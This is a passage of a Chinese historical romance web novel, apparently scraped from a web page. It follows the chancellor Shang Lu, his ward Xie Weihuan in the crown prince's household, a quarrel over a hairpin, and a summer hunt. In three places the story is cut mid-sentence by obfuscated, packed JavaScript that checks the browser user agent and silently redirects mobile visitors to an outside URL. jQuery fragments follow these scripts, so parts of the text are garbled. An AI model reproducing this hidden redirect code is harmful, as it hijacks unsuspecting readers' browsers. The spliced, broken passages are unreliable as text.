不过片刻后,终行至宫门,他瞧见了守在门外的重楼,压抑着心中的怒火,“回府!” “是……相爷!” 重楼见商陆眉眼间黑压压透露着阴沉,一时说起话来都小心翼翼,生怕惹恼他。 明明来的时候好好的,怎么上个朝回来后,他家相爷就成了万年寒冰,浑身透露着怒气,让人不寒而栗。 这一路上,重楼未敢说话,打量着商陆的神色,只见他家相爷坐在车舆里,紧阖双眸,搓着手指,显然是遇到了不顺心的事。 重楼叹了口气不禁想着,自从谢姑娘被相爷送走,他家相爷就没一天顺心过,今日又不知是谁惹了他,往后怕是没好日子过了。 …… 回到相府后,商陆快着步子行至殿内,一言不发坐在案前,亲自倒了盏茶,浅啜后又放下茶盏。 下一瞬,他的目光落在窗边的风铃花,不禁回想起李珏系在腰间的那枚香囊。 上面也是此花。 他的脸色瞬间变得铁青,手指紧紧攥着茶盏,分明的骨节因用力而凸起,吩咐道:“去,把谢为欢的东西全扔了!” 他的声音很冷,深邃的眼眸如深不见底的寒潭,仿佛要将一切吞噬殆尽。 一旁的重楼也被他骇了一跳,跟随相爷多年,还未见过他如此失控愤怒的模样。 “啊?”重楼愣住,反问道:“全……全都扔了么?” 商陆向他投去满是杀气的眼神,“听不懂?” “是,相爷!”重楼点头如捣蒜,又指了指合窗边,“那相爷……那处的风铃花呢?” 那风铃花是谢姑娘一年前亲自种下的,偷偷搬到相爷屋内,相爷也欣然接受。闲着的时候也会亲自打理它。 他跟在相爷身侧多年,还从未见过相爷对什么事物用心过,那风铃花算是一个。 也不知相爷是喜欢那风铃花,还是喜欢送的人。 商陆:“扔,全部。” “是,相爷。”重楼依言立时走至合窗边将那风铃花抱了下去。 然,商陆再次抬眸望向已空荡荡的窗边,却又觉得空荡荡,似乎少了些什么,一时内心烦躁手下不稳竟将茶水洒在身上。 茶水瞬间湿透了衣物,他愣在那儿,不知所措。 偏偏这时,又有小厮前来禀告,“相爷!” 商陆眉头紧锁,向门处望去,嗓音带着几分斥责,“何事?” 小厮胆战心惊:“相爷,魏姑娘来了府上,说……说要求见相爷!” …… 酉时,炽热的暑气慢慢消散,轻风拂面带来几分清凉,十分舒适。 谢为欢带着半夏来到了京城的东街闲逛。往日在相府时,她起了玩心也会趁着商陆不注意,偷偷和半夏溜到街市闲逛半日。 这东街市有一家珠宝阁名叫漱玉楼,店内满是各类珠宝珍奇的物件,每日上新,深受贵女们的喜爱。 谢为欢每次留出去都会来此处闲逛片刻,瞧着那些奇珍异宝,若是有合适的也会收入囊中。 今日,她来到这漱玉楼时恰逢店主购入一批新样式的发簪,几个姑娘们围着瞧。 谢为欢按捺不住好奇,也凑近瞧了一眼,谁料目光立时被其中的一个发簪吸引住。 那发簪上的花样,正是她所钟爱的风铃花。在余晖的映照下,那风铃花宛然若生,极为讨人。 谢为欢清澈灵动的双眸微动,带着几分欢喜。 “店主,这发簪多少银两?”她指了指,轻声问道。 店主笑着竖起三根手指,“姑娘,那发簪三十两。” 谢为欢回以店主浅笑,在心中思虑着发簪价格还算合适,好不容易遇上她所钟爱的,随即回道:“楼主,这发簪我要了!” 半夏在一旁扯了扯她的袖口,问道:“姑娘,咱们府中什么样式的发簪没有?怎买这种?瞧着就不是什么好发簪……” 谢为欢摇了摇头,眼含笑意,“半夏,府中的都不是我所钟爱的,只有这一个,甚我心意。” 半夏略有所思点了点头,她家姑娘是个犟的,约莫着这世上也只有相爷能劝动。 而就在谢为欢刚从怀中把银两拿出来时,身后突然传来一句清脆的嗓音, “店主,你手中的发簪我要了!” 谢为欢听闻有人来抢那发簪,转过身要瞧瞧到底是哪位姑娘不讲道理。 然,就在瞧清来人时,谢为欢微微张着嘴,愣了好一会儿。 她怎么也没想到,那姑娘身侧还伴着商陆。 只见那姑娘身着淡粉色纱裙,略施粉黛便倾国倾城,一瞧便知是大户人家的贵女。 不知商陆同她是何关系—— 眼前的商陆在瞧见谢为欢后,眼神明显一顿。 半夏回过神,轻轻说了一句,“相……相爷。” 声音很轻,却唤回了谢为欢的思绪。 一阵恍惚过后,谢为欢的目光才从商陆身上移开,望向那姑娘,“姑娘,这发簪是我先看上的,也同店主约定好了,卖给我。” 说起话时,她的目光不禁瞥向一旁的商陆,而他站在那里如同冰冷的雕塑,置身事外,不想参与他们之间的争执。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185389|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >眼神也未曾给过她分毫。 半夏也在一旁帮忙说话,“这是我家姑娘先看上的,凡事要有一个先来后到。” 只见眼前姑娘矜持地捂嘴笑了笑,看向店主反问道:“她可付了银钱?” 店主摇了摇头,“未曾。” 那姑娘又看向谢为欢,幽幽笑道:“既然姑娘未付银钱,那这发簪就还不是你的。” 接着她挽起身侧的商陆胳膊晃了晃,声音轻柔而软糯,“霜儿说的对不对,相爷?” 谢为欢抬眸望向商陆,她眼神落在两人相互挽着的手,眸光微暗。 男人一向不喜生人靠近,别说还如此亲近地挽着他的胳膊,看来眼前的姑娘对于他来说,非同一般…… 思此,她内心犹如压上一块巨石,喘不过气。 商陆淡淡瞥了一眼那发簪,抬眼望向谢为欢,眼里没什么温度,“既然你未付过银钱,这发簪算不得你的。” “既如此——店主,我付你双倍银钱。” “啊?”店主犹豫了一瞬,望了望谢为欢,又望了望商陆,“公子,这……” 商陆皱眉冷视,“十倍……” 店主登时大喜,将身前的发簪递给了那姑娘,又转头向谢为欢致歉,“姑娘你看,并非是我不想卖你,价高者得,这位公子出的价,我实在是无法拒绝,见谅。” “谢相爷!霜儿知道相爷最疼我了!”那姑娘贴向商陆,娇嗔地扯动着男人的袖子。 商陆轻轻嗯声, 半夏:“相……” 谢为欢拉住欲上前争辩的半夏,她眼睫轻颤着,攥紧的手指终没了力气。 原来男人并不是不会哄人,他为了讨身侧姑娘的开心,竟出手如此阔绰。 她压下心头那股酸涩的情绪,行礼道:“是我自不量力,同姑娘争抢,只是我太喜欢那发簪上的风铃花,姑娘也喜欢么?” 闻言,商陆这才注意到那发簪是风铃花的样式,原来如此,只是他不理解谢为为何对此那花这般执着。 在殿内外种满风铃花也就罢了,连一个风铃花的发簪都不放过。 ——还有绣给李珏的香囊上,也是风铃花。 “风铃花?”那姑娘闻言挑眉,不知想到了什么,满眼厌恶道:“居然是这晦气玩意儿,我不过是看着这发簪稀奇,买来玩玩罢了,真是晦气!” “相爷,霜儿不是故意的。” 商陆未搭理那姑娘。 谢为欢挑眉,不知为何在她心中如视珍宝的东西却成了晦气的物件,不禁反问道:“姑娘为何觉得它晦气?” 那姑娘嗤笑了一声,“今日我到相爷府中瞧见相爷将府中的风铃花都扔了出来。” “相爷不喜,自是晦气。” 谢为欢睫毛微微颤抖着,连着声音都在发紧,“都……扔了?” 商陆将她留下的风铃花都扔了…… 那姑娘的话落在谢为欢耳中,声音飘渺,带着刺痛。她抬眸与眼前商陆眼神交汇,而男人却不知在思考什么。 忽地她只觉喉间一哽,心中酸涩的情绪再也忍受不住涌了上来。 她捏着手指问道:“姑娘可知风铃花的花语?” 14.第 14 章 她捏着手指问道:“姑娘可知风铃花的花语?” 只见眼前的姑娘扯了扯唇,冷笑了一下,“我怎知道那晦气的东西?” 晦气… 原来她所钟爱的物件在商陆眼中却是晦气的。 “风铃花的花语,一生只爱一个人。” 谢为欢的声音很轻,说给自己也是说给商陆,委婉说出了她藏在心中已久的爱意。男人那么聪明,定能明白她话里的意思。 也不知是何缘故,她的心中再也压抑不住那份爱,她想说出口,想告诉商陆她爱他。 很爱。 而心中的那份胆怯,始终如同跨越不去的鸿沟。 思此,她眸光动了动,抬眼望向商陆,不想错过他的神情,哪怕一瞬。 商陆闻言,只是眼神一黯,脑中浮现出李珏腰间香囊上的风铃花,云淡风轻的面容上透露着一抹愠色。 下一时,他伸出手夺过那发簪,无情地扔在地上,冷冷开口:“晦气的东西,扔了就好,何必留着惹心烦。” “你善习字,我带你去墨香阁。” 发簪落地发出清脆的声响,立时被摔成两段。 那姑娘点了点头,挽住商陆的胳膊,眼神却在谢为欢与商陆之间打转,“好!霜儿听相爷,我们去别处。” 谢为欢眼见着两人亲密挽着手离去,又低头看向地上摔成两段的发簪,心口像是被什么扎了一样。 她紧紧攥着拳头,流下一滴泪。 往日无论受到多严重的伤口,她皆不会流泪,唯独面对商陆。 半夏轻轻叹息:“姑娘,我们……” “回府。” 遇此遭,谢为欢已没了闲逛的心情,没说什么多余的话,带着半夏一步一晃地回到了太子府中。 她整个人失魂落魄,脑海中一遍遍回忆着商陆同那姑娘举止亲密,还有男人将她留下的风铃花全部都扔了…… 伴在商陆身侧多年,她未曾见过男人对哪一个姑娘那般温柔,连着说话的语气都带着商量,从不像是她所认识的相爷。 她坐在圈椅上,眸光微动,“半夏,你出去打探一番,今日同相爷在一起的姑娘是谁。” 半夏皱起眉头,“是,姑娘。” 少顷,半夏蹑手蹑脚回到殿内,犹犹豫豫道:“姑…姑娘,奴婢打探到了。” 谢为欢握紧了手中的茶盏,身体微微前顷,“何人?” “这……” 谢为欢有些着急,“半夏,你同我说实话。” 半夏闭上眼一咬牙,“姑娘,那女子是…是当朝尚书令魏家的姑娘,五日前相爷亲自求的婚约。” “眼下全京城都传遍了,说她是来日的丞相夫人。” “亲自求娶么?” 谢为欢垂眸,手上失了力道,茶盏滚落在地摔得四分五裂。 她早已猜到那姑娘身份不平凡,没想到竟是商陆亲自求娶的夫人。 亲自求娶…… 商陆要娶妻了,看起来他很喜欢魏家姑娘,不惜付出一切,只为博她一笑。 魏家姑娘的名号她也曾有所耳闻,乃是京城第一才女,一手书法习得出神入化,更是能临摹大家字画。 谢为欢知道商陆早晚有一天会娶妻生子。 而她什么都不是,也什么都不如。 她忽然觉得自己根本不配,什么都不配,男人收养她不配,教养她不配。 一切的一切,她都不配。 甚至送到太子府中,满是欺骗,也不配得到李珏的偏爱。 “半夏,可有酒喝?”谢为欢的眉眼莫名染上几丝清冷。 半夏低着头,小声道:“姑娘,这有倒是有……” “去拿来。” “姑娘……” “不必劝我。”谢为欢打断半夏的劝说,坚定说着,今日她只是想尝尝酒的滋味,会不会一醉解千愁。 “是,姑娘。”半夏收回落在谢为欢身上担忧的视线,深深叹了口气。 不过片刻后,半夏取回酒坛放在案上,“姑娘少饮些。” 谢为欢轻轻嗯声,捧起酒坛给自己倒了一盏,饮酒下肚,辛辣从舌尖蔓延,刺激到喉咙开始干咳,眼里酝酿出两团泪水。 “姑娘!”站在身前的半夏要上前。 谢为欢伸手制止,“你别过来,先出去。” “姑娘!” “半夏,你知晓的。”她每次遇到伤心事,都一个人在殿内安安静静地坐着,不哭也不闹,事情想明白了,也就好了。 那时在相府受到下人的欺凌,她也未抱怨过,只自己一个人宽慰自己。 “是,姑娘。”半夏欲言又止,只得依言退下。 房门被轻轻合上,那缕光被门阻挡在外,渐渐消失在眼前。 谢为欢干脆抱起酒坛饮了几口,越是辛辣,她的心越疼。 因为商陆从不饮酒,也讨厌酒的气味,整个相府从来都没有过一坛酒。 记得及笈那年,她偷偷溜出府去,到了忘忧居偷饮过一次,结果回到府中被商陆抓个正着,或许不饮酒的人对酒的气味极为敏感。 商陆一下子就知道她偷偷出去饮酒,到现在她还记得那时男人阴沉的脸,很是不悦。 最后被罚打扫屋子,从里到外,地板,廊柱,都是她一个人擦的。 那时候的她还悄悄躲在廊柱后,透过合窗望着屋内的男人,静静坐在案前,微微偏头看着奏折,时间仿若静止。 而她的心却忍不住那份悸动。 柔风吹来,她额间垂下的碎发随风而动,也扰乱她的心。 余光瞥见男人一动,她就如同做贼心虚一般,藏在廊柱后,脸红心跳,抚着胸口微微喘息。 那时,她觉得能远远瞧男人一眼,已是知足。 她觉得她的心有时很大很大,她想要同男人一生一世,也曾肖想过男人只爱她一人。 有时她的心又很小很小,小到只能装下商陆一人。 无论李珏对她多好,她的心里仍是放不下商陆,闭眼是他,睁眼也是他。 思绪归位,她的耳畔又传来门的吱呀声。 她以为是半夏担心退而折返。 “半夏,我没事,你去做你的事。”她手撑着下巴,没抬眼。 然,那脚步声步步逼近,她也只当时莲心太过于执着。 她抬眸望了过去,刚要出言打退半夏,却在瞧清眼前人后,把话生生咽了下去。 “殿…殿下,您怎么来了?” 她并未醉得不省人事,知身处于太子府,隔墙有耳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191371|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旦喝醉后说错话,很难自保。 就这样,李珏悄无声息而至,一脸忧愁望着她。 “欢儿这是遇到什么伤心事了?自己一个人躲在殿中喝酒?” 谢为欢登时酒醒了三分,站起身放下手中的酒坛子,“没……没什么事,妾只是想尝尝这酒的滋味。” “欢儿在骗孤。” 李珏皱着眉头望着身前的少女,长长的发丝松散而落,脸颊染了几抹红晕,如同傍晚落日的晚霞。 最重要的是,她哭过。 他又不傻,怎么会看不出来? “妾没有欺骗殿下,妾只是…只是……”她一时语塞,竟想不出来搪塞李珏的理由。 李珏笑了笑,快步走来揽上她的腰,顺势与她一同坐了下来。 两人此时贴得极近。 谢为欢一时不适往外动了动身子,“妾身上满是酒气,殿下还是离妾远一些,莫沾上了。” 李珏脸上的笑意染上几分无奈,“欢儿说什么傻话?只要是欢儿身上,无论是什么气味,孤都喜欢。” “殿下……”谢为欢眸光动了动,蓦地红了耳根,她哪里听过别人说过这般肉麻的情话,一时茫然竟不知说什么来应付。 李珏瞧着身侧少女害羞的模样,抬手抚着她泛红的脸颊,“欢儿总是能让孤很开心,让孤猜猜欢儿为何难过……” 男人温热的指腹拂过脸颊,她惊得一颤。 李珏:“欢儿可是因为久在府中,心情烦闷?” 谢为欢摇了摇头,“殿下,府中很好,妾没觉得烦闷。” 而李珏好像根本没有听她说什么,执着认为她是因为无聊才借酒消愁。 “孤过两日带你出去游玩可好?” “殿下……” “就如此定下了!” “……好。” 谢为欢见自己劝不动,只好妥协。 月光洒入殿中,悄悄爬上男人的衣袍。 李珏忽地又握住她的手,“欢儿,孤愿意等,等你心里真的接受孤。” 谢为欢愣了一下,怔怔地望着李珏,心下想着莫非是自己的举动让男人察觉到了异常? 她试图解释道:“殿下说什么傻话?妾是你的女人,自然完完全全属于殿下。” “欢儿撒谎。”李珏只是笑,而后牵起她的手,在手背落下一吻,“不管如何,欢儿只要知道,孤真的把你视作这世间珍宝,爱之,惜之,疼之。” 李珏的表白来得太过于突然,那眸中的深情是她渴求过的,渴求在商陆那儿得到一星半点。 她看向李珏,眼间系着不属于他的香囊,心中带着愧疚,问道:“殿下,妾出身相府,您就没有怀疑过妾么?” 她咬了咬唇,或许自己是真的醉了,竟然在李珏面前提起了本不该提起的事。 李珏是当朝太子,并非平庸之辈,自她入府以来从未碰过她,或许也是因为心生怀疑。 一个死对头送来的女人,又怎能相信? 然,李珏只是用手轻轻碰了碰她的鼻尖,笑道:“欢儿,孤信你,于孤来说,你是孤这一生最重要的人。” “殿下,妾不值得。” 望着男人真挚的眼眸,她心下动容。 她只是欺骗,只是欺骗…… 15.第 15 章 翌日,一缕柔光透过床幔洒落在谢为欢脸上,她迷迷糊糊睁开眼只觉头昏昏沉沉,起身缓了许久后思绪才渐渐分明。 昨夜记忆浮现在脑海中,她同李珏饮了两盏酒后,被他亲自抱回床榻上,又轻柔落在她额间一吻。 随后的李珏没有下一步动作,只是嘱咐她好好休息后,转身而离去。她眼瞧着男人在克制那份暗涌的情动。 这时耳畔传来半夏进殿的脚步声,“姑娘醒了?” “半夏,眼下什么时辰了?”谢为欢揉了揉眉心,这一觉她睡得极安稳。 “回姑娘,眼下已经…午时了。”半夏进门后的眼神一直在谢为欢身上打量着,张了张嘴后又咬紧下唇,似乎是接下来的话难以开口。 谢为欢抬眸瞧着半夏的欲言又止,挑眉问道:“半夏,你这是怎么了?” 半夏一直是一个藏不住事儿的丫头,谢为欢这一问,她更瞒不住心中的话,干脆一咬牙,一吐为快,“姑娘…您日后可万不能如此任性! “姑娘眼下身处于太子府,应当知晓酒后失言…” 谢为欢打断她的话,无奈笑道:“半夏,我昨晚并未醉得不省人事,知晓分寸。” 就像半夏说的那样,她如今身处太子府,却要助相爷行事。若是犯了蠢,酒后失言将所有的事吐露给李珏,坏了商陆的计划…… 她还没有蠢到那般地步,昨夜不过烦闷,略醉了三分。 “姑娘知晓分寸就好,恕奴婢多嘴。”半夏的声音越来越小,继续道:“自从姑娘来到太子府,奴婢瞧着太子殿下对姑娘多加疼爱,这心里也没了底,怕姑娘……” “怕我对殿下动了心思?日后不为相爷行事?”谢为欢眸光动了动,顺势接过她的话。 半夏轻轻点头又连着摇头,“不是不是,姑娘,倘若您真的爱上了太子殿下,不愿再助相爷行事,只要给奴婢一个明示就好,您放心,奴婢会永远站在姑娘身侧!” 谢为欢垂眸,谈及商陆时,她的眼中带着几分伤感,“半夏…平日里在相府,我与你最是亲近,我的心思,你应当最清楚不过。” 半夏:“是,姑娘,奴婢知道了。” 屋内琉璃鼎中的玉华香散出丝丝缕缕的青烟,于半空中轻轻消散。 如今她倒是渐渐习惯了太子府中名贵香料的气味。 想起李珏,她的思绪也顺着那缕青烟不知飘到了何处。 她由商陆抚养长大,自应报达他的养育之恩,不过如此说来,自入太子府后,李珏似乎对她极为赤忱,可谓是有求必应。 为了她,好像能放下太子之尊,哄她。 若日后真的助商陆行事而负了李珏,她的良心会安么? 不—— 不会—— 她是相爷的人,怎能对那李珏起了同情的心思? 谢为欢立时将手指嵌入掌心,死死攥着,以疼痛来遏制住心中那份不该有的动容, 她是相爷的人,绝对不会对李珏动容。 哪怕一瞬,都不能。 …… 自那次李珏离开后,整整两日未见到他的身影,听说下人们说,他是在宫中准备夏猎事宜。 李珏不在,她也只是整日里在府中逗鸟养花。 这日,没有小厮的禀告,李珏不知从何处冒出来急匆匆跑来清月殿,不由分说拉起她的手往外跑。 直到行至府外,一匹棕色的骏马出现在眼前。那马通体棕色,一瞧便知是难得一见的好马。 难不成这李珏是寻来了一匹良马逗她开心? 谢为欢不明所以,微微仰起头问道:“殿下,这是……” 头顶响起男人熟悉的话音,“欢儿可还记得昨夜孤同你说的话?” 谢为欢垂眼沉思了半晌,昨夜李珏好像对她说了很多肉麻的话,也不知问的是哪一句。 不过无论是哪一句,让她说出口也是难为情。 是以,她别开眼,摇摇头道:“殿下昨夜对妾说过很多话,具体问的是哪一句?请殿下明示!” 李珏的目光温柔而纵容,他牵起谢为欢的手,“孤说过要带你出去散心,现在可想起来了?” 谢为欢恍然大悟,好像是听李珏提过一嘴,她以为男人只是在说笑罢了,没想到真的会带她出去游玩,“我们……” “夏猎,孤带你去夏猎。”李珏抢先一步说道。 谢为欢眼睛一亮,好似有星子在闪烁,满是期待,“真的?” 李珏笑着翻身上马,向她伸出手,“那还有假?孤答应你的事,必然会做到,欢儿,上来!” 男人的话语很是得意,仿佛已将她的话都刻在心中,一一去应。 “使不得殿下!妾怎能同您共乘一匹马?若是让其他人瞧见了,成何体统?”谢为欢连连后退几步,不住地摇头。 李珏仍未放下手,“你是孤的女人,他们说什么孤根本不在乎?” 见眼前少女依旧未动分毫,李珏威胁道:“难道欢儿是想让孤亲自抱你上来?” 谢为欢瞧见李珏真的大有要翻身下马抱她的架势,只好乖乖伸出手。 感受到男人手心的温热,她缩了缩手指,下一时借着他的力,翻身上了马。 “欢儿,抓紧孤!” 然,少女的手一时不知该放在何处,只好轻轻抓住男人背后的衣物,不敢再伸进一步。 李珏唇角轻扬,试问他堂堂太子殿下,世间有多少女子想扑上来,而身后的少女却还同他之间把持着男女授受不亲。 “欢儿一会儿掉下去伤到了,可别怨孤没有提醒你。” 谢为欢手指攥着李珏身后衣物,不禁想着自己如今已身为他的奉仪,或许应该大胆一些,这般畏手畏脚让李珏如何想? 思此后,她大着胆子揽住了身前男人的腰。 他们两人的身子紧紧贴着,似乎是她太过于用力,男人身上的衣物满是褶皱。 “欢儿坐好了,孤可要驾马了。” 一语落,谢为欢落在男人腰间的手又收紧了几分。 马蹄声响起,谢为欢同李珏出了京城,一路奔向郊外,眼前视野更加辽阔,是她从未见过的景象,耳畔响起阵阵风声,如同仙乐回荡,连着空气都是格外清新。< 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“是臣无知了。”徐澈嘴角微微上扬,挤眉弄眼,“这还不是多亏了咱们的丞相大人,殿下才能得此妙人。” “喏!殿下您瞧,丞相大人在那儿呢!” 徐澈指了指前方。 听此,躲在李珏身后的谢为欢才知晓商陆也来了,她唇角轻轻牵起一抹笑意,悄悄向外挪了几步,腰间的流苏随着她的动作而轻轻晃动。 下一时视野开阔,只见商陆站在那里,正向她投来视线。 而在谢为欢发现男人的身侧有一姑娘,她笑容渐失。 那姑娘不是别人,正是那日与她争发簪的魏姑娘。 他亲自求娶的未婚妻。 …… 李珏在徐澈的指引下,望到了一旁的商陆后就带着她向前走去。 然,就在瞧见商陆的那一瞬间,谢为欢明显感觉到李珏的手收紧了力道。 她被李珏紧紧牵着,只好随着他的步子来到商陆身前。 只是她未敢抬眼瞧身前的商陆,躲避着所有人的视线。 她不知是单纯不想看商陆,还是不想看到他同另一个姑娘亲近。 商陆:“臣,参见太子殿下。” 魏霜:“臣女,参见太子殿下。” “无需多礼。 ”李珏淡淡摆了摆手,侧头看向魏霜,问道:“想必这位就是来日丞相夫人魏姑娘吧。” 魏霜又是得体一礼,“回殿下的话,正是臣女。” 然此时,商陆忽地打断他们的话,出口问道:“殿下,看来这丫头很讨殿下欢心?眼下行到何处都要带着,可谓形影不离。” 谢为欢抬眸,感受到男人的眼神落在她身上,不知在探寻什么。 此言一出,李珏的手松开她的手,转而覆上她的腰身,往怀中轻轻一拽,谢为欢整个人扑在他怀中。 而此时,他的眼底笑意分明,甚至带着几分挑衅…… 16.第 16 章 谢为欢一时失神,没有拒绝李珏突如其来的亲密之举,直至耳畔传来他熟悉的话音, “欢儿容貌绝色,甚合孤的心意,孤还要多谢丞相为孤寻来如此佳人。” 她这才回过神,轻轻推了推李珏落在她腰间的手,压低了声音道:“殿下…还有外人在。” 李珏非但没有松开她的腰肢,反而更贴得近了些。 谢为欢一时无奈,只能任他揽着,她低垂下眸子,不敢看眼前的商陆。 然,商陆的目光落在李珏落在谢为欢腰间的手,眸底情绪晦暗不明,暗自搓着手指似在隐藏心底异样的情绪。 他沉默了片刻,开口道:“她,合殿下的心意就好。” “这都是臣应该做的。” 听到商陆此话,谢为欢睫毛轻轻垂下,心里瞬间变得失落落的。原来,他根本不在乎自己。 那缕阳光明明是轻柔的,然映在谢为欢身上却如同火炉中的炭火,无情吞噬她的一切。 下一时,一阵击鼓声响起,众人的目光皆被吸引过去。 只见太监总管缓步走上前,身后紧紧跟着的婢女手中端持着锦盒,“各位公子们,今岁这场夏猎陛下指定由奴家手中的夜明珠为奖赏。” 接着太监总管转身打开锦盒,“猎物最高者得。” 锦盒中的夜明珠在光的照耀下,异常耀眼,宛如天上明月坠入凡间。 谢为欢盯着瞧了几眼,她还从未见过这么大的夜明珠,都说此物即使是在黑夜,也能照亮屋内,如同烛火一般,当真是稀罕物。 “欢儿喜欢?”李珏附在她耳畔问道。 谢为欢点了点头,又摇了摇头,“殿下,试问世间哪个女子能不爱这宝贵的夜明珠?” 继而她话锋一转,继续道:“不过,妾不想让殿下为妾辛苦去争夺。” 喜欢是喜欢,没必要非得到手中。 “欢儿如此善解人意,不过既然你想要,孤自当竭力全力给你嬴来。” 李珏还是同往常一样,揉了揉她的头。 然,令所有人不知道的是,身后商陆的眼神一直落在谢为欢身上,瞧着她与李珏举止亲密,于袖口中暗自攥紧了拳头,努力稳下心神。 徐澈拍了拍李珏的肩膀,“自古以来英雄难过美人关,看来殿下是真的败在了谢奉仪的石榴裙下。” “丞相大人呢?要不要参加这夏猎?” 谢为欢眸光动了动,商陆虽武功高强,在骑射一事上也是佼佼者,不过他从不喜展示武力。她曾听重楼说起过,往年的夏猎,商陆也只是在一旁观望走过场。 徐澈拍了拍头,“哎呀,你瞧我这脑子!丞相大人向来不喜舞刀弄剑。” 商陆未搭理徐澈,眼神瞥向谢为欢,问道:“你喜欢么?” 男人的话很低沉,询问的语气带着几分质问,似是第一次问他人的意见。 谢为欢愣了片刻,咬紧下唇,一时不知所措,这是在……在问她? 当着众人的面问她喜不喜欢? 一旁的魏霜打量着谢为欢与商陆之间微妙的气氛,似察觉到了一丝不对,却也只是压在心中。 男人的话再次响起。 “霜儿,你喜欢么?”商陆偏过头问道。 “……” 谢为欢垂下眼,捏紧了身侧的手指。原来是她自作多情,男人是在过问他未过门的娘子,站在他身侧的魏霜才是能与他相配,共度余生之人。 而她呢…… 不过是一个卑贱的乞丐。 魏霜一目不错地望着商陆,“相,相爷,您是在问我?” “不是你,还是谁?”商陆皱眉冷视,不耐烦点了点头,余光又瞄向谢为欢。 眼前的少女仿佛没有什么情绪,他内心如同一团乱线,蒙上一层解不开思绪。 魏霜怯生生点了点头,“相爷,霜儿喜欢。” 不过相比于眼前的夜明珠,她更喜欢身侧的男人,身为当朝丞相,骨子里的清冷贵气,让人折服。 商陆摆了摆手:“重楼,去将我的马牵来。” “嗯?”重楼先是一愣,他怀疑自己听错了,没想到他家相爷竟能主动参与狩猎,反应过来应道:“是,相爷。” 此言震惊所有人,商陆竟要骑马狩猎,真是奇闻怪事。 “今日孤竟能有幸与商丞相一较高下。”李珏迎上前笑道:“孤是为了博佳人一笑,难道丞相也是为了佳人?” 谢为欢心口止不住地起伏了一下,原来商陆也会为了一个女子去做他不喜欢做的事。 所以,他一定会娶魏姑娘为妻。 她撇开思绪,转头嘱咐李珏道:“殿下,注意安全。” 李珏将腰间别着的香囊取下,放在她手心,“欢儿放心,孤不会有危险。不过这香囊是欢儿的心意,可不能丢了,先替孤保管,待孤回来还给孤。” 谢为欢无奈笑道:“殿下,一个香囊而已,丢了妾再为您绣一个就好。” “那怎么能一样,这可是欢儿送给孤的第一个,孤自当视若珍宝,爱不释手。”李珏跨步向前,在她的额间落下一吻。 “相爷,让我来!” 身后传来马鞍落地的声音和重楼的呼唤。 谢为欢并未回头,只在手中攥着那枚、香囊,望着上面的风铃花,那可是她要送给商陆的,阴差阳错到了李珏手中,却被他视作珍宝。 而商陆从不佩戴,甚至可能看都不会看一眼。 思起此,她竟觉得有些愧对于李珏的真心。于心中暗暗发誓日后再为李珏缝制一个真正属于他的。 李珏和商陆相继上马后,奔上猎场。 谢为欢站在原地片刻后,有婢女前来引去她帐内等待。 然,就在她刚转身同婢女离开时,身后忽地传来魏霜的呼唤,“谢姑娘留步!” 谢为欢问言停住步子,回过头问道:“魏姑娘找我有何事?” “我能否同谢姑娘叙叙话?”魏霜眉眼微弯,亲热地拉住她的手。 谢为欢抬眸,眼前的魏霜虽是满眼笑意,然那笑却让她极为不适。 她警惕道:“魏姑娘想叙什么?不如我们进帐说。” 魏霜点了点头,两人皆跟着婢女进了帐内。 帐帘落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魏霜掩着嘴浅浅一笑,“那我就不为难谢姑娘了,还望谢姑娘与太子殿下日后如胶似漆,凤协鸾鸣。” “谢魏姑娘吉言,我也祝魏姑娘与相爷婚后风月常新,比目连枝。” 魏霜笑着转身而离去。 而谢为欢的眼底弥漫上一层雾气。 她还能回到商陆身侧么? …… 转眼已到夕时,夏猎已至尾声,前往狩猎的众人已尽数归来,却至今不见李珏归来。 谢为欢在帐内来回踱步,等得实在着急,她跑出了帐外。 行至猎场入口时,只见徐澈搓手顿足,“这两人到底要做什么?拼命么?到现在了还不回来?” 两人? 谢为欢心下疑惑,难不成不止李珏一个个人,她缓步走近后,竟瞧见了魏霜正神色凝重而担忧地向四周张望。 谢为欢这才知道原来商陆也至今未归。 她走上前拉住徐澈,焦急问道:“你们还不派人去寻……” 就在她话还未说完,只听猎场内传来马蹄声,众人皆焦急望着,只见马上的人是商陆。 他骑着马走了出来,而身后似乎还托着一个人。 17.第 17 章 迎着落日余晖,商陆策马行来,他明明是逆光而行,却让人觉得他就是光源所在。只要他一出现,谢为欢的眼中就再无了他人。 直到那缕光被彻底遮挡。 “愣着做什么,太子殿下受伤了,还不赶紧来扶?”商陆翻身下马,将目光落在谢为欢身上,似乎是刻意对她说的。 听此话,谢为欢与众人才反应过来立即迎上前去,将马背上的李珏扶了下来。 魏霜径直跑向商陆,拉住他的胳膊,眼中含着泪光,“相爷,您总算是回来了,真是吓死霜儿了。” “咦?相爷你也受伤了?” 谢为欢听闻商陆受伤,耳朵立时竖了起来,下意识抬眸望去,瞥见男人的衣袍处带着泥点和杂草,莫非他也受伤了? “无事…” 商陆微微侧身挣脱开魏霜的束缚,将手中的长剑扔给一旁的重楼,淡淡道。 